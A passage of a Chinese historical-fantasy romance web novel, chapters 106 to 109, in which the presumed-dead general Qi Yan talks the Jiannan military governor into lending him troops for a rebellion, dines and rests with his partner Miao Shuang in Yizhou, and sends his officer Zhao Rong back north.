“……哎。” 赵戎三下五除二把那伙山匪打趴了,仔细一看,才发现那哪里是什么山匪, 分明是些衣衫褴褛的老弱病残。 他瞬间拿不定主意,不知道该怎么处理这些人了, 将求助的目光投向祁雁。 祁雁无声叹气:“走吧。” 赵戎放过了那伙“山匪”,继续驾车赶路,马车经过时,忽有什么东西从车窗里抛出,落在“山匪”们脚下。 他们急忙将东西捡起,发现那竟是整整一贯钱, 登时又惊又喜,刚被揍过一顿都觉不出疼了,朝着马车远去的方向跪了下来:“谢恩人!” 磕头道谢之声久久不停, 祁雁坐在马车里沉默不语,眉头拧紧,有些痛恨起过于灵敏的听力来。 他们才上路两天,还没离开黔中,纵然之前的“劫富济贫”尽力覆盖到各州县,却总会有照顾不到的,想让所有人吃饱穿暖任重而道远,或许百年,或许千年,又或许,这样的一天永远都不会来。 被这么一伙“山匪”劫了道,赵戎也不再开口了,只是沉默地赶车,现在祁雁没有敕牒在身,官驿也住不了了,只能自费住民驿,伙食和住宿环境自然不能要求太高,纵然他们有钱,却不是每家驿馆都备了好酒好菜。 一路都没吃上什么好东西,苗霜肉眼可见地没什么精神,还三天两头就被劫道,从黔州到益州不算太远的路程,居然被劫了七八次。 他们当初南下时还没这么夸张,这一年过去,情况又严峻了许多,劫路已经劫到了官道上来。 就这样磕磕绊绊,总算是到了益州,抵达后第一件事,就是拜会剑南节度使,彭鸿飞。 辰时三刻,节度使府。 彭大人正在训斥着几个办事不力的手下,骂声和今日的阳光一样明媚刺眼,旁听的下属们眼观鼻鼻观心,大气也不敢出,生怕大人一个不高兴殃及池鱼,下一个被问候的就是自己的祖宗。 就这么骂了足足两刻钟,一句不带重样的骂词均匀地泼洒下来,给所有人骂了个狗血淋头。 前来通报的下属进也不是,不进也不是,在门口徘徊良久,才听到屋内骂声渐小,大人应该气消得差不多了,他这才鼓起勇气,叩门打扰。 里面传来一道中气十足的男声:“进来。” 下属急忙入内,彭鸿飞不耐烦地看了他一眼:“有屁快放。” “大人,之前您在普州结识的那两位又来了,说是途径此地,给孟军医送点东西,特来拜会您。” “哦?”彭鸿飞紧皱的眉头终于展平了些,“那还等什么,快把人请进来。” “是。” 那下属领命去了,彭鸿飞看了看跪在地上的几个碍眼的家伙,摆了摆手:“行了行了,快给老子滚,今天就放过你们,再有下次,小心你们的脑袋!” 几人忙不迭地跑了,彭鸿飞呼出一口气,换上一副笑容,准备迎接远道而来的贵客。 赵姜孟三人以及苗疆圣子在剑南大疫时帮过他的大忙,孟永良留在了益州大营当军医,赵戎和姜茂偶来拜会,他跟二人吃过酒,饭桌上相谈甚欢。 距离上次见面已经过去了数月,能和他志同道合的人不多,他也有些想念了,焦急地在原地踱步片刻,就听到由远而近的脚步声。 他立刻迎上前去,喜不自胜:“两位,许久不见哪!” “大人近来可好?”赵戎熟络地跟他攀谈起来,“我们刚从黔州过来,特意给大人带了几坛苗寨的好酒,不知道大人喝不喝得惯。” “两位小兄弟还是这么客气,来就来吧,还带什么东西,”彭鸿飞哈哈大笑着收下了他们的酒,“快进来快进来,一别数月,老子可是想死和你们一同吃酒的日子了!” 他把酒交给手下,把无关人等打发出了房间,自己招待着两人,和赵戎大侃特侃了一会儿,忽然觉得哪里奇怪,将视线投向始终没吭声的姜茂:“姜小兄弟,怎么不说话?” 虽然姜茂本就寡言,但今天尤为沉默,他认真打量一番,发现了更多的怪异之处:“不对啊……姜小兄弟,我记得你不是断了一臂吗?怎么这胳膊……又长出来了?这苗疆秘术,难道还能活死人肉白骨,让断臂重生?” 赵戎摸了摸鼻子:“呃……这个……” 彭鸿飞:“你这个子好像也比之前高了,姜小兄弟,我记得你说你二十有三,这二十三了还能长个子吗?” 赵戎十分心虚地别开眼,看天看地就是不敢看他。 被故友相见的欢喜冲昏头脑的彭节度使冷静下来,面色陡然一变,他猛地起身,直接抽出了随身佩刀:“你不是姜茂,你是谁?!” “别别别!”赵戎急忙阻拦,生怕他们打起来,“他的确不是姜茂,但也是熟人,是熟人!大人您别生气,听我们解释!” “是吗,”彭鸿飞冷冷看向面前身份不明的来客,“既是熟人,又何必遮遮掩掩?你是怎么易容成姜茂的,不如给老子开开眼?” 身份被识破,也没必要继续掩藏下去了,祁雁缓缓摘下脸上的幻蛊面具,露出原本的面容。 幻术解除,彭鸿飞看清了他的脸,登时面色剧变,震惊之色溢于言表:“你是?!” 祁雁冲他笑了笑:“彭大人,好久不见。” “……祁雁?”彭鸿飞几乎不敢相信自己的眼睛,一个早已死去的人就这么活生生地站在他眼前,让他握刀的手都微微发抖,“你是人是鬼?” 祁雁笑而不语。 彭鸿飞将他从头到脚打量了一遍,又看向旁边左顾右盼装作自己很忙的赵戎,终于回过味来了,眯起眼睛:“哦——我明白了,姓祁的你是假死,一招金蝉脱壳逃脱狗皇帝的监视,你胆子可真大啊!你逃就逃了,居然还敢在老子面前现身,你就不怕老子一刀宰了你这个欺君罔上的逆贼!” 雪亮的刀刃架在了祁雁的脖子上,明晃晃的,窄窄一道光反射上他的脸,那唇边的笑意却不减分毫,更没有半分惧色:“大人并不当祁某是逆贼,又何必杀我。” “……什么玩意?”彭鸿飞隐约回想起自己某天在酒桌上说过的话来,神色惊疑地看向赵戎,“你们和他到底是什么关系?” “赵戎、姜茂、孟永良,他们都是我昔日的部下。”祁雁道。 “部下?”彭鸿飞瞬间反应过来这个词的含义,“雁归军?” 祁雁点了点头。 “……格老子的,”彭鸿飞被气笑了,“你们几个,在老子的军营里埋暗桩呢!亏老子那么信任你们,跟你们掏心掏肺,把你们当成志同道合的朋友,你们就是这么回报老子的?!” 赵戎心虚得直挠脸,祁雁却依然气定神闲,他轻轻推开了架在自己脖子上的刀:“大人又怎知我们不是志同道合呢?” 彭鸿飞警惕地看着他:“什么?” 祁雁:“兔死狗烹,唇亡齿寒,大人深知这个道理,才私自募兵,以备不时之需,不是吗?” 听了这话,彭鸿飞脸上的肌肉都微微抽搐起来,握刀的手紧了又紧,好悬才忍住没一刀砍过去,他死死盯着面前的人:“姓祁的,你就不怕老子传信给京都,向陛下揭发你没死?” 祁雁的语调不卑不亢:“和我还活着的消息一并传到陛下耳中的,一定是你剑南节度使私募兵马四万之事。” 彭鸿飞:“……” 剑拔弩张的气氛一下子胶着起来,赵戎在旁边小心观战,心想要是姜茂在这就好了,还能跟将军打个配合。 至于他自己就算了,他怕哪句话说得不对,直接导致两人谈崩。 他在内心祈祷老天保佑,或许是上苍听到了他的祈求,两人僵持许久,彭鸿飞终于慢慢收刀入鞘:“说吧,你来找我,目的为何?” 祁雁:“大雍近些年来天灾不断,民不聊生,大人体恤百姓,故发布募兵令收容各地来蜀中逃难的流民,实乃义举,可天不遂人愿,又降大疫于剑南,节度使一要平疫,二要养兵,想必早已入不敷出,捉襟见肘。” 彭鸿飞冷笑了一声:“祁将军被一纸诏书发配到黔地,倒是对我蜀地的现状了解得一清二楚,你现在一介白身,甚至都不算是个活人,难道有办法解我燃眉之急?” “若是没有,祁某就不会跑这一趟了。” “那你倒是说来听听。” “大人只需将这四万私兵借给我,”祁雁微笑道,“人一走,军需开支立减,自可解大人军费短缺之急。” 彭鸿飞一脸错愕:“哈?” “我要借大人的兵起事,若事成,好处自然少不了大人的,即便事败,大人也能独善其身,私兵既不在你手中,谁又能证明你做过私募兵马之事?即便是上面查下来,没有人证物证,也定不了大人的罪。” 彭鸿飞:“……” “不知大人,意下如何?” 第107章 第 107 章 我家夫人还饿着肚子…… “你……”彭鸿飞目瞪口呆地看着他, 直用手指他的鼻子,“你你你……” 他“你”了半天,似是在寻找一句不那么脏的骂词, 气得脸都憋红了:“我就没见过像你这么不要脸的!” 祁雁谦虚一笑:“大人谬赞了。” “……老子没在夸你!”彭鸿飞怒气冲冲地转身,一屁股坐回到座位上, 一副吃了苍蝇的表情,“你真当老子傻?这兵一旦到你手里, 还能回得来吗?你若事成,真当上皇帝,定要削我的兵权,万万不可能把人还给我,你若事败,那这些人更是死得一个不剩了!姓祁的,你说你到底是借,还是抢?!” “随便大人怎么想,祁某只要一个结果。” “……” 彭鸿飞气不打一处来, 他当了这些年的剑南节度使,什么人没见过, 却还真没见过像祁雁这么理直气壮空手套白狼,还让人没办法立刻拒绝的。 别说,他提出的条件当真有些诱人,现在的大雍已是强弩之末,局势危如累卵,天子昏庸, 奸臣当道,迟早有一天会四分五裂,真到了那一天, 可就积重难返,再难挽救了。 到了那时,大雍内部自顾不暇,外敌必定入侵,剑南与西蕃南照接壤,纵然这些年西蕃与大雍还算和平,可未必不会落井下石,西蕃大军若是打过来,靠他这点兵马可真不一定挡得住,且不论剑南百姓怎样,他这个节度使首先要当到头了。 就算不提那些后事,放眼当下,他也的确快要拿不出军费了,剑南大疫,他向京都上报了多少次,求了多少次拨款赈灾,消息都如泥牛入海,杳无音信。 他自掏腰包治疫,哪还拿得出多余的钱练兵,现在都在后悔当初收容了太多流民,最近实在没钱,只得去手底下那些贪官身上找,可这些家伙被他收拾了几次,也是越来越精了,想抓到他们的马脚越来越难。 若非有苗疆圣子出山相助,这疫病还指不定治没治住,情况定比现在更糟,不论怎么说他都欠人家一个人情,现在他“借”了这兵,就算还上了这人情,还能解军费短缺之危,怎么看都不亏啊。 彭鸿飞:“……” 狗日的,他损失了四万兵马,亏得老祖宗都要从坟里爬出来给他一耳屎,他居然觉得自己不亏?! 真是被姓祁的套进去了! 彭鸿飞面色难看至极,过了许久才咬牙道:“这兵,我可以借给你,但你凭这四万兵马就想打赢季渊的十五万禁军,未免太天真了些,我借你人,是让他们跟着你赚军功,可不是让他们平白为你送死的!” “这一点大人尽可放心,祁某还没自视甚高到觉得靠这点人就能拿下晏安城,”祁雁冲他一抱拳,“如此,我先谢过大人。” 彭鸿飞惊疑不定地看着他。 听姓祁的这意思,他还有底牌? 该不会是要调远在塞北的雁归军吧?但听说雁归军现在的将领,以及灵州节度使全部是季渊的人,对季渊掏心掏肺的忠诚,祁雁想越过这些人调兵,不可能吧? 可不动雁归军,他还能去哪里搞人? 理智告诉彭鸿飞不要过问太多,若这位真是未来的皇帝,自己知道的越多,以后死得就越快,于是他咳嗽一声:“那行吧,你来过的事我会帮你隐瞒,只要你在剑南,我能保证消息不会传到季渊耳朵里,至于你离开剑南以后如何,那我就管不了了。” 帮到这份上,他也算是仁至义尽了,祁雁若还想要更多,他非得一刀砍了他不可。 祁雁开口道:“不。” 彭鸿飞刚压下去的火气又噌一下燃了起来,他眉头一拧就要发难,却没想到祁雁竟说:“我来过的消息,大人不但要上报京都,还要夸大其词地上报。” 彭鸿飞愣住:“哈?” “大人刚才问我是人是鬼,现在我回答大人,祁某是鬼。” 彭鸿飞:“??” “无头厉鬼,”祁雁笑着在他对面坐了下来,很不拿自己当外人地取了茶盏,给自己倒了杯茶,“大人只需上报,有一无头厉鬼入侵节度使府,将您打成重伤后扬长而去,一夜之间,您手中兵符上遍生铜锈,手下兵马皆如失了魂般,不论旁人怎样呼唤都无半点反应,您心中惊骇不已,急忙向圣上上奏此事。” 彭鸿飞:“啊??” “剑南所驻兵马四万人,所募私兵又四万人,而今私兵非私兵,实乃‘阴兵’。” 彭鸿飞:“……” 他神色怪异地看着面前的人,也不知道到底是祁雁脑子有病还是自己脑子有病,半晌才道:“这说辞,你觉得季渊会信?你当他是傻子?” “大人只需按我说的做即可,”祁雁胸有成竹,“用兵之道,攻心为上,论兵力,我不如季渊,但若论兵法,我不输他。” 彭鸿飞瞧着他,合理怀疑最后这句还是说得委婉了,他只怕本来想说“没人比得上我”。 真是个狂妄的家伙。 不过,能为大雍镇守北境这么多年,想必也有狂妄的资本。 “行行行,就照你说的办,不过我丑话说在前头,若是季渊不信,你可别来找我,”彭鸿飞摆了摆手,“现在我就去写信……” “大人,暂且不急。” 彭鸿飞终于忍无可忍,暴跳如雷:“又怎么了?!” 祁雁:“现在已近晌午,我家夫人还饿着肚子,我们一路从黔州而来,山路难行,颠簸不已,夫人没胃口,人都瘦了几分,好不容易到了这天府之国,可要好好游赏一番。” 彭鸿飞嘴角都抽搐起来:“你夫人?谁?该不会是苗疆大巫吧?” “自然。” “……” 彭鸿飞深吸一口气。 他记得当时孟永良说,治疫的药方是大巫给的,所以归根结底,祁雁的夫人才是他的大恩人。 ……招待,必须招待。 彭鸿飞咬牙切齿,强行让自己露出笑容:“祁将军……说的是,大巫劳累一路了,自然是填饱肚子要紧——不知大巫现在何处?” “在城中客栈落脚。” “祁将军该早点说的,大巫尊贵,怎么能住小小客栈呢,将军先去和大巫汇合,我稍后就来,定为二位备下好酒好菜。” 祁雁点了点头,带着赵戎离开了节度使府。 彭鸿飞头痛地捏了捏眉心,感觉摊上这么俩人真是人生不幸,有下属走上前来,小心询问道:“大人,咱们现在怎么办啊?” “怎么办,还能怎么办,”彭鸿飞愤然一捶桌子,“姓祁的拿我的兵,还要吃我的喝我的!” 他怒而踹了没眼力价的下属一脚:“还愣着干什么!还不快去定最好的酒楼!” * 马车停在酒楼门前,小厮迅速凑上来,在车前放好脚踏。 苗霜踩着脚踏下了车,抬头望向面前金碧辉煌的三层酒楼:“都说这蜀中富庶,看来确实不假。” “三位,请。” 小厮引着他们进了酒楼,赵戎左顾右盼:“这不是上次彭大人请我们吃饭那地儿啊,这看起来比上次那家还好。” “您可是说中了,”小厮笑逐颜开地附和道,“我们家酒楼要是在这益州城里称第二,那就没人敢称第一,您见着没,来这吃饭的都是老客,平常那是一席难求啊,今日节度使大人设宴,亲自请三位吃饭,给您备了最好的雅间。” “这么厉害呢?快让我见识见识。” 三人跟着小厮上了楼,祁雁拉开椅子,对苗霜道:“夫人,请上座。” 苗霜犹豫了下:“这不好吧?” “好,没什么不好,”小厮立马接话道,“节度使大人说了,您是剑南的大恩人,今日酒席,您必须上座。” “那好吧,”苗霜不再推拒,“你们大人什么时候来?” 小厮还没接话,就见一道身影风风火火地闯进了包间:“来了来了,这就来了!” 彭鸿飞将两坛酒放在桌上,吩咐小厮道:“人都到齐了,快去传菜,别让客人等着。” 小厮应声离去,彭鸿飞揭开酒坛封蜡:“刚去取酒,来晚了,几位莫怪。” 封口一揭开,浓郁的酒香一下子飘散出来,彭鸿飞热情道:“大巫给我带了苗寨的酒,那我也得回点礼不是,这是我们剑南特有的烧春酒,请几位尝尝。” 他说着就要为众人倒酒,赵戎急忙起身:“我来我来。” “剑南烧春,闻名遐迩,”祁雁闻着这酒香,笑道,“曾有文人游历剑南,尝过此酒后流连忘返,然囊中羞涩,竟解下貂裘以换——彭兄请我们饮此酒,大手笔。” 彭鸿飞一摆手:“夸张了,夸张了,市井传闻,当不得真。不过这两坛可是十年陈酿,这酒楼里都没有的,是我的私藏,今日拿出来,也算是美酒配君子。” 倒好了酒,菜也上了桌,赵戎见了,登时眼前一亮:“暖锅!” “我记得赵小兄弟最爱吃我们蜀地的暖锅,这次也是特意给小兄弟备了,快尝尝。” 赵戎冲他一抱拳:“谢大人!那我就不客气了!” 彭鸿飞又看向苗霜和祁雁:“大巫,祁将军,也尝尝?” 小厮帮忙往暖锅里下了菜,烫熟了,苗霜夹起一片,蘸了油碟,放入口中。 彭鸿飞满脸期待:“怎么样?” 苗霜咂摸片刻:“不够。” “不够?什么不够?” “不够辣。” “这……”彭鸿飞挠了挠脸,头一回有外乡人来吃他们蜀地的暖锅嫌不够辣,他自然不能丢了这面子,遂把小厮叫到一边,吩咐道,“你去,再端一锅上来,记得,给我往死里加麻加辣。” 很快,小厮又上了一锅,赵戎看着那锅里翻滚的辣椒和麻椒,咽了口唾沫,眼睛都直了。 这玩意……真的能吃吗? 苗霜就把筷子伸进那锅看着都能把人辣死的红油里,面不改色地夹菜入嘴,评价道:“这还像点样子。” 这还……像点样子…… 彭鸿飞差点呕出一口血。 赵戎端着饭碗,挪动到祁雁身边,小小声道:“将军,要不咱俩……去坐小孩那桌?” 第108章 第 108 章 光天化日,克制一下自…… “你自己去吧, 我还要陪夫人喝酒。”祁雁很不仗义地说。 “嘿,将军您这是见色忘友啊。” 祁雁没再搭理他,只默默把苗霜爱吃的菜往他跟前挪, 不爱吃的往远处拿。 彭鸿飞看着他的小动作,心想这究竟是怎么个意思呢, 这姓祁的来益州到底是来借兵的,还是带夫人来度假的? 拿他的用他的吃他的喝他的, 还要硬给他塞一嘴狗粮,是不是有点太不道德了? 姜茂不在,赵戎有话也找不着人诉说,有些后悔没直接把老孟从军营里叫出来陪他一起受苦,这顿暖锅直吃得人烧心又烧肺,撂下筷子时,只感觉五脏六腑都是烫的。 祁雁尝了几筷子爆辣锅,也有些承受不住,最终由苗霜一人享用了, 吃了辣又喝了酒,竟好像没事人一样, 白皙的面容都没变红。 烧酒的后劲实在有些大,从酒楼里出来时,赵戎话都已经说不利索了,跟彭鸿飞勾肩搭背口无遮拦:“小彭,今天这饭……吃得尽兴。” “管谁叫小彭呢,赵小兄弟, 你喝高了,”彭鸿飞抓着他的胳膊,以免他栽到地上去, 回头对祁雁道,“两位,去我府上住吧,这城里的客栈条件实在简陋。” 祁雁看了看苗霜,见他没有表现出太大兴致,便回绝道:“不必了,彭兄一番好意我们心领了,我此次前来,除了正事,也是想和夫人在益州游赏一番,住在客栈方便些,我们下榻的客栈离这不远,走两步就到了。” “唉,那好吧,”彭鸿飞便不再客套,他本来就没钱,再负责这二位的吃穿用度,更是没钱,巴不得他们不来住,“那我送你们回客栈。” 祁雁婉拒道:“大人诸事繁忙,还是快些回吧,不必担心我们。” 彭鸿飞:“这不好吧,我还是送送你们……” 扒在他肩膀上快要醉死过去的赵戎又活了,嬉皮笑脸道:“人家要过二人世界,你听不懂啊?快别管他们了,我要去军营看……看老孟,你给我带路。” “赵小兄弟,你都醉成这样了还看什么老孟,等你酒醒了再说吧。” “胡说八道什么呢,我才没醉,我要去看老孟!就现在。” “……行行行走走走。” 彭鸿飞一脸嫌弃地把他弄上了马车,挥手和祁雁他们道别。 目送两人离去,耳边总算是清净了下来,祁雁吐出一口气,轻声问道:“夫人觉得,这益州如何?” “不错,”苗霜懒洋洋地给出评价,刚吃了一顿合胃口的酒席,一路上没吃好没睡好的不满都化解了不少,“看得出来,这位节度使将剑南治理得不错,不然也不会有那么多流民来剑南避难,若是天下各州有十成之一能如益州富庶,你想要的未来也就达到了吧。” “嗯,我没问益州治理得好不好,”祁雁转头看向他,“我只想问,夫人喜不喜欢这里?” 这话倒是让苗霜有些意外,祁雁满脑子都是天下苍生,今天居然说不问苍生,只问他一人。 别是喝多了吧。 “喜欢当然喜欢,这里的吃食还挺合我胃口,不过你问这个干什么?” “夫人若是喜欢,我们这些天便四处转转看看,等以后忙起来,怕是再难有这样的机会了。” 这话倒是说得没错,等范阳那边的消息一到,他们就得动身继续北上,现在估计是他们最后的闲暇了。 苗霜没有意见,但一天活动太多了也不好,他们早上才下马车,现在吃饱了,只想躺下休息:“游玩的事明天再说,我们还是先回客栈吧。” 祁雁看着他笑:“好,都听夫人的。” 苗霜:“……” 今天的祁雁有点反常啊。 下一秒,他的手就被对方的手掌覆上,许是刚吃了辣又喝了酒,祁雁的掌心微微发烫,一点点与他十指相扣,指根的热度烫得人直起鸡皮疙瘩。 苗霜有些诧异地看着他,很想问问他是不是忘了自己还在大街上,甚至没戴面具,纵然这益州没人认识他们,还是有不少人向他们投来视线,落在他们交握的双手上,目光充满了探寻。 某人大抵是真醉了。 看来这十年佳酿确实效果卓群,他还没见过祁雁喝醉的样子呢,在苗寨喝酒时他总是很克制,现在不喝药了,能敞开了喝酒,又顺利说服剑南节度使要来了兵,大概是高兴,今天酒席上实在没少喝。 从外表上不大看得出祁雁喝醉了,但那双漆黑的眸子却比平常更加幽深,视线牢牢锁定在他身上,像浓稠的墨汁一样粘腻,苗霜在那眼中看到自己的倒影,几乎有种要被汹涌的情|潮吞噬的错觉。 祁雁又向他凑近,倾身向前,微微低下头来,用滚烫的唇亲吻他的唇角。 苗霜身形一顿。 他有点想提醒祁雁,又有点恶劣地不想提醒他,他很想知道如果祁雁酒醒了,记起自己在大街上和他接吻,会是什么样的反应。 于是他没有躲避,甚至主动迎合了上去,轻轻用舌尖擦过他的唇瓣。 这有意无意的撩拨让祁雁更加兴奋,伸手扣住他的腰身,肆无忌惮地在他嘴唇上啄吻起来,灵敏的听力在这种时候倒是不起作用了,周遭的一切嘈杂被他自动过滤,任凭人们怎么议论,也不能干扰他分毫。 “我莫得看错吧,那是俩男娃儿?” “这瓜娃子在做啥子哟,脑壳进水咯?” “莫看了……快走快走。” “催啥子催,再看一哈。” 有人大惊失色,加快步伐从他们身边经过,有人冲他们指指点点,唾骂叹息,也有人好奇地停下来,对着他们津津乐道,懵懂的孩童向母亲询问,母亲一脸尴尬地拉着孩子走开,少女抬手挡住面容,又忍不住从指缝里偷窥,笑着红了脸颊。 形形色色的人们在繁华的街头来来往往,他们夹杂在人流当中,任凭世俗的目光落在身上。 滚烫的呼吸带着酒气,苗霜明明没有喝醉,却要被祁雁吻醉了,难以言说的背德感让人从头到脚都在颤栗,他几乎怀疑姓祁的下一秒又会做出什么更加过分的事来。 好在祁雁还没完全失去理智,只是和他短暂地亲热了一会儿,便意犹未尽地放开了他,强行压制着翻涌而上的情愫,拉着他的手往客栈走。 苗霜舔了舔唇角,视线从周围人身上一一扫过,有点犹豫要不要给他们下点幻术让他们忘了刚刚发生的事,又觉得有点麻烦,懒得动手。 他笑意吟吟地压低了声音:“将军都是要当皇帝的人了,就不知道克制一下自己,没听见他们骂你有伤风化?” “那又如何?”祁雁面不改色,“我若真当了皇帝,风俗教化自由我来定,谁又敢对我指指点点?” 苗霜乐不可支:“你可真是有当昏君的潜质。” 他以前怎么没发现鸣川师兄这么胆大呢,难道是修仙多年压抑了天性? 两人很快回到客栈,因为给了足够多的钱,小二招待他们都格外热情:“客官,您回来了。” 祁雁点了下头:“半个时辰后送热水上来,沐浴。” “得嘞!” 两人回到房中,紧紧关上了房门,迫不及待地继续着在外面没做完的事,苗霜被祁雁抵在门上,滚烫又迫切的亲吻再一次落来,细密的啃咬顺着颈侧一路下滑。 祁雁用牙齿叼住他襟侧的系带,轻轻咬开,又将含着酒气的吻落在他肩头,白皙的皮肤被吻得微微发粉,轮廓分明的锁骨烙上牙印,祁雁拼命在他身上留下属于自己的痕迹,哪怕这痕迹会很快消失。 门外似有人经过,不知是小二在跑堂又或有新的客人入住,幢幢人影在门扇雕花间晃动,隔着一层窗纸,看不真切。 苗霜忽然感觉身体一轻,整个人被祁雁抱了起来,放在床上,褪去一半的衣衫彻底从肩头剥落,原本喷洒在耳畔的热意转移到了腿根,他低头看着伏在身前的人,将五指插进他乌黑的发间。 迟来的酒意仿佛在这时才上涌,让他浑身轻飘飘的,如同踩在云里,可脚腕又被那人捉住,指腹薄茧摩擦过他踝骨附近薄薄的皮肤,抚过淡青色的血管,扣住脚腕将他抬起,又缓缓放下。 热意便一下子涌到了身体里来,苗霜下意识地绞紧了对方的腰,微微眯起眼睛,勾住他的后颈将他按向自己,凑上唇去吻他。 不记得是何时听到小二在敲门,忙碌的两人都无暇应答。 小二疑惑地摸了摸后脑勺:“不是说半个时辰后送热水吗……我记错了?” 他不死心地又敲了敲:“客官,您要的热水烧好了——客官?” 祁雁吐出一口气,不得不抬起头来:“放门口吧。” “……您要沐浴,这一桶水也不够啊,小的给您一桶一桶挑,咱这店里也没那么多桶不是。” 屋子里又没人回应了。 小二急得抓耳挠腮,心说这两位客人在干什么呢,大白天的要沐浴,又不让他把水送进去。 又过了一刻钟,房门总算是被人打开了,祁雁衣衫齐整地出现在他面前:“进来吧。” 第109章 第 109 章 有夫人相伴身侧,可敌…… 小二提着水桶进了房间, 满脸堆笑道:“客官,您久等。” 祁雁“嗯”了声,小二将提来的水倒进浴桶, 出门时,偷偷往床上瞟了一眼。 屋内门窗紧闭, 大白天的,光线却有些昏暗, 床上帷幔拉下,里面应该有人,一双鞋子散落在旁边。 小二多年跑堂经验,一下子就猜出这里刚刚发生过什么,不过……如果他没记错的话,这间屋子里住的是两个男人吧? 两个男的,也能……? 小二瞳孔地震,万万没想到这传说中的断袖也是让自己碰上了,震惊之余又有些好奇, 忍不住多看了两眼。 可惜床幔拉得严实,内中光景是一点也看不到, 旁边那位给他开门的公子还在盯着他,不知道为什么,总觉得那视线颇有压迫感,让人如芒在背。 小二不敢再多待了,急忙下楼继续挑水,来来回回跑了几趟, 总算是把浴桶装满了,他擦了擦一脑门的热汗:“客官,有事您喊我。” 祁雁点了点头。 小二转身离去, 贴心地帮他带上门,祁雁顺手反锁了门闩。 床幔被一只白皙的手挑开,苗霜这才从床上下来,身上不着寸缕,新鲜的痕迹还未消退,他赤脚踩在地板上,懒洋洋道:“白日宣淫,将军该克制一下了。” 祁雁眉梢微动:“夫人难道不喜欢?” 苗霜没回答他,只转过屏风,抬腿跨进浴桶,水温有些烫,将白皙的皮肤晕出粉色。 “这桶还挺大的,”他道,“进来一起洗。” 祁雁拿了换洗衣服放在一边,一路舟车劳顿,他也确实想洗个澡好好休息一下,刚穿上的衣服便又脱了,也迈进浴桶,和苗霜一人一边。 热水驱散了周身疲惫,两人皆是吃饱喝足,没有任何一刻比现在更加闲适放松。 洗完了澡,又舒舒服服地睡了一下午觉,晚上把赵戎和孟永良叫出来小聚,一别数月,各自都有许多话要说,喝酒谈天,好不快活。 几人在益州吃喝玩乐,数日后,一封来自范阳的信寄到了祁雁手中。 祁雁看过那信,唇边露出一抹笑意。 内力震荡,信纸在掌中化为齑粉,他抬脚出门:“走,我们去找彭大人。” 彭鸿飞伺候了他们好几天,可算是能把这尊大佛送走了,迫不及待地说:“人我已经给你准备好了,不过事先说好,这些兵我只练了一年,我可保证不了他们能和你的雁归军比肩,你要带着他们去打季渊的十五万禁军我不管,但要是打输了,你可别赖我。” “大人放心好了,一年之兵,已经足够。”祁雁道。 彭鸿飞看着他这成竹在胸的模样,心说这人口气可真不小,伸手将一块令牌丢给他:“拿着这个吧,我的私令,和我本人一样好使。” 又将一人推到身前来:“我麾下小将,魏然,虽然年纪轻,但在军中已有多年,作战经验丰富,军中事情他了解,你有什么事就问他。” 青年单膝跪地,十分激动地冲祁雁抱拳:“魏然拜会将军!久闻祁将军盛名,今日能追随将军,三生有幸!” “魏小将军,快快请起,”祁雁将他从地上扶了起来,认真端详他一番,“我总觉得你有些眼熟,我们是在哪见过吗?” 魏然一听这话,登时更激动了,眼睛都在发亮:“将军,您还记得我!之前您去苗疆平乱,我就跟在您身边!那时我还只是一小小校尉,正因为跟着您得胜归来,才被提拔为将军了!” 祁雁记了起来:“原来是你,我有印象,当时魏小将军随我冲杀南照军队,确实勇猛,能得今日成就,也是实至名归。” “行了行了,我可还在这呢,”彭鸿飞一脸不耐烦道,“要叙旧给我出去叙,魏然,这次是你主动请缨要跟着祁将军的,从今往后你就是他的人了,是生是死都不再归我管。” “谢大人成全!” “快滚吧。” 打发走了烦人的小将,彭鸿飞又道:“祁雁,我这兵也给你了,兵器、粮草也给你备好了,你是不是也该有点表示?我这本来就已经捉襟见肘了,这些东西,哪个不要钱啊?” “祁某自然不会亏待了大人。”祁雁招了招手,赵戎和孟永良立刻搬上来几个大箱子,一一打开来。 “这是我从黔州带来的,所有的银两、珠宝、布匹,合计白银十五万两,足抵大人此次所耗军备开支。” “十五万……”彭鸿飞嘬了下牙花子,“聊胜于无吧。” 他收下东西,又道:“那我就不送各位了,哦对了,兵你可以带走,但老孟得给我留下。” 他说着搭住孟永良的肩膀:“老孟在我这当了这么久的军医,都混出感情来了,没他可不行啊,这开了春,军中又有不少人染了风寒,军备可以给你,军医可不行。” 孟永良哈哈大笑:“让我走我也不走,离了益州,还上哪去喝剑南烧春?” “老孟,够义气,”彭鸿飞拍拍他的肩膀,“冲你这份情义,未来一年的剑南烧春管够!” “大人,一言为定!” 几人放声大笑,貌似其乐融融。 每个人却都心知肚明,彭鸿飞要留下孟永良,并非需要什么军医,也非原谅祁雁在他军中埋暗桩之过,只因这暗桩亦是人质。 就像留在范阳的姜茂。 谁都知道雁归军是祁家一手练出的兵,和祁雁亲如手足,有他的部下当人质,这份并不牢固的盟友关系便得以维系。 祁雁笑了笑,带着赵戎离开了节度使府,他望着如洗的碧空,深吸一口气:“走吧,该出发了。” “将军,”赵戎跟在他身后,“彭大人又给您派了个将领,那接下来,是他听我的,还是我听他的?我这好像也没军职在身啊……” “你不需要听他的。”祁雁道。 赵戎顿时笑逐颜开:“我就知道将军信得过我,要不这样吧,您拨点人给我,我还给您当先锋……” 祁雁打断他:“你有你自己的事要去做。” 赵戎愣了一下:“什么?” “你的任务,是再回一趟塞北,这次我要你混进雁归军,无论我此番起事成或败,你都得给我拦住他们,不准他们离开边境寸步。” 赵戎一脸错愕:“将军!” 祁雁毫不怀疑,如果他事败,军中一定会有人杀了金将军取而代之,带着雁归军南下支援他为他报仇,如果是那样的话,北境不保不说,整支军队都要被季渊除之以绝后患。 他背负不起八万人的命,大雍也承担不了这样的损失。 “去吧,”祁雁淡淡道,“这是我交给你的最后一件事,你去了,就不必再回来了,要么灵州再聚,要么……后会无期。” “将军……”赵戎嗓音哽咽了,他眼眶通红,跪地磕头,“将军,保重!” “嗯,一路顺风,”祁雁强忍住想要扶他起来的冲动,“保存好你的面具,别让金将军发现了。” 赵戎抹了一把眼泪,站起身来,头也不回地离开了。 祁雁看着他远去的背影,只觉心里难受得发紧,他望着街道上车水马龙,却好似抽离于世界之外。 “离开京中一年有余,归来仍是孑然一身,”苗霜突然出现在他身后,“赶走部下的滋味如何?为了让他们活下来,你也是煞费苦心。” 祁雁回过神来:“夫人还是这么神出鬼没。” “什么叫神出鬼没,我明明一直都在,”苗霜上前两步,和他并肩而立,“雁归军八万人,人人都要让你这般上心吗?难不成,你还能记住他们每个人的名字?” “那自是记不住的,”祁雁垂下眼帘,“但我会尽力去记。” 苗霜冷笑了一下:“你倒是爱兵如子,可你也不过一人,哪来那么多精力照顾到每个人。” 